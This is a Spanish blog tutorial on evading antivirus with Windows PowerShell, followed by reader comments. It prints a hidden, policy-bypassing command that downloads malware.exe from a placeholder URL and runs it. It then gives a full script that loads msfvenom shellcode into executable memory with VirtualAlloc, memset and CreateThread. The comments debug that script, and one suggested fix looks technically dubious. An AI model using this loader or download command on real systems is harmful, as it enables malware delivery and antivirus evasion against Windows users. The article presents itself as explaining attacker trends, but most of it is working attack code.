Evadiendo nuestro antivirus con Windows PowerShell

Hace algunos días se difundió la noticia de que PowerShell se estaba convirtiendo en el método más eficaz para la difusión de malware pero, ¿existen razones de peso que expliquen la migración a esta plataforma?
Durante el siguiente artículo veremos algunas de las razones prácticas por la que muchos blackhat están optando por este lenguaje de scripting.

En primer lugar, cabe destacar que la distintiva de PowerShell respecto a intérpretes tradicionales es que está orientado a objetos, puesto que la información de entrada y de salida en cada etapa del cmdlet es un conjunto de instancias de objeto. Esto, junto a la capacidad de agregar clases personalizadas a framework .NET mediante el cmdlet “Add-Type”, le otorga grandes funcionalidades a tener en cuenta para el desarrollo de malware.

En cuanto al malware que hemos podido ver recientemente, todo parece apuntar a que el proceso comienza mediante la ejecución de un archivo javascript, el cual es el que ejecuta en última instancia el comando de PowerShell. Así pues, mediante una única sentencia podemos habilitar la descarga y ejecución del malware. Este es un ejemplo:

C:/WINDOWS/system32\WindowsPowerShell\v1.0\powershell.exe” -ExecutionPolicy bypass -windowstyle hidden -noprofle (New-Object System.Net.WebClient).DownloadFile('http://URLMALICIOSA/malware.exe', 'C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\windows.scr'); cmd /c 'C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\windows.scr'

Como se puede observar, mediante un sencillo proceso podemos habilitar la ejecución de malware en la víctima con PowerShell. Sin embargo, la que es sin duda una de las competencias más importantes que tiene este lenguaje es la capacidad de evadir los antivirus inyectando el código directamente en memoria.

Así pues, vamos a crear un sencillo script a través del cmdlet “Add-Type”, el cual permite importar funciones desde cualquier DLL, y utilizando VirtualAlloc para importar funciones que tratan con memoria no gestionada, copiaremos nuestro shellcode generado con msfvenom y lo ejecutaremos como un subproceso.

En primer lugar importaremos las funciones requeridas, es decir, la anteriormente mencionada VirualAlloc, CreateThreat, la cual permitirá la ejecución del subproceso una vez creada la función que hemos creado y métodos memset para añadirlos a nuestra función.

$code = @"
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("msvcrt.dll")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);
"@

Seguidamente creamos una clase de tipo C# que pueda ser reconocida por PowerShell:

$winFunc = Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru

Tras ello, crearemos una variable con el nombre shellcode, la cual almacenará el payload. En este caso se ha elegido “Windows x64 Execute Command”, el cual permite la ejecución de código en una arquitectura de 64 bits. Mediante la herramienta msfvenom, generamos una salida al payload y asociados la ejecución del popular juego buscaminas en primer plano (msfvenom -p windows/exec CMD=”cmd /k winmine” EXITFUNC=thread -f c).

El resultado del comando lo introduciremos en nuestro script mediante la siguiente instrucción:

[Byte[]]$shellcode = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,0x6d,0x64,0x20,0x2f,0x6b,0x20,0x77,0x69,0x6e,0x6d,0x69,0x6e,0x65,0x00

A continuación calcularemos el tamaño de memoria que es necesario reservar para almacenar el shellcode. El almacenamiento sólo funciona si el tamaño del shellcode es, como mínimo, 0x1000, por ese motivo incluimos un tamaño mínimo:

$size = 0x1000
if ($shellcode .Length -gt 0x1000) {$size = $shellcode.Length}

Almacenamos la función en memoria con permisos de lectura, escritura y ejecución, y copiamos cada uno de los bytes en la memoria:

$to_hack=$winFunc::VirtualAlloc(0,0x1000,$size,0x40)
for ($i=0;$i -le ($shellcode .Length-1);$i++) {$winFunc::memset([IntPtr]($to_hack.ToInt32()+$i), $shellcode[$i], 1)}

Finalmente ejecutamos la función en un subproceso:

$winFunc::CreateThread(0,0,$to_hack,0,0,0)

Este script se comprimirá posteriormente, además de crear un .bat que invoque el binario.
Si todo ha funcionado correctamente, mediante la ejecución del .bat, el shellcode se inyectaría directamente en memoria y, por tanto, se habilitaría la ejecución remota de código.

Viendo las potentes funcionalidades de PowerShell se comprende mucho mejor la razón por la que los creadores de malware están decantándose cada vez más por esta herramienta, y, poco a poco también, todo tipo de profesionales relacionados con el campo de la ciberseguridad.

Comments

  1. Al intentar cargar el shellcode da error en PowerShell

    Excepción al llamar a “ToInt32” con los argumentos “0”: “La operación aritmética ha provocado un desbordamiento.”
    En línea: 1 Carácter: 47
    + … h-1);$i++) {$winFunc::memset([IntPtr]($to_hack.ToInt32()+$i), $shellc …
    + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : OverflowException

    Hay solución?

    Saludos

  2. Al no definir argumento en la función ToInt32, está utilizando la predeterminada del sistema, que no debe ser la que el shellcode requiere.

    Prueba con:
    $to_hack.ToInt32($Null)

    Un saludo

  3. Gracias, en PowerShell (x86) funciona sin problema en (x64) desborda.
    Un saludo